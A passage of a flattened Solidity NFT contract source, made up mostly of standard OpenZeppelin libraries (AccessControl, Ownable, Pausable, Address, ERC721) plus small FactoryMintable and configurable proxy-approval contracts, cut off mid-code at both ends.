`role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: FactoryMintable.sol pragma solidity ^0.8.7; abstract contract FactoryMintable is IFactoryMintable, Context { address public tokenFactory; error NotTokenFactory(); error FactoryCannotMint(); modifier onlyFactory() { if (_msgSender() != tokenFactory) { revert NotTokenFactory(); } _; } modifier canMint(uint256 _optionId) { if (!factoryCanMint(_optionId)) { revert FactoryCannotMint(); } _; } function factoryMint(uint256 _optionId, address _to) external virtual override; function factoryCanMint(uint256 _optionId) public view virtual override returns (bool); } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: AllowsConfigurableProxy.sol pragma solidity >=0.8.4; contract OwnableDelegateProxy {} /** * Used to delegate ownership of a contract to another address, to save on unneeded transactions to approve contract use for users */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract AllowsConfigurableProxy is IAllowsProxy, Ownable { bool internal isProxyActive_; address internal proxyAddress_; constructor(address _proxyAddress, bool _isProxyActive) { proxyAddress_ = _proxyAddress; isProxyActive_ = _isProxyActive; } function setIsProxyActive(bool _isProxyActive) external onlyOwner { isProxyActive_ = _isProxyActive; } function setProxyAddress(address _proxyAddress) public onlyOwner { proxyAddress_ = _proxyAddress; } function proxyAddress() public view override returns (address) { return proxyAddress_; } function isProxyActive() public view override returns (bool) { return isProxyActive_; } function isApprovedForProxy(address owner, address _operator) public view override returns (bool) { if (isProxyActive_ && proxyAddress_ == _operator) { return true; } ProxyRegistry proxyRegistry = ProxyRegistry(proxyAddress_); if ( isProxyActive_ && address(proxyRegistry.proxies(owner)) == _operator ) { return true; } return false; } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/access/AccessControl.sol // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. 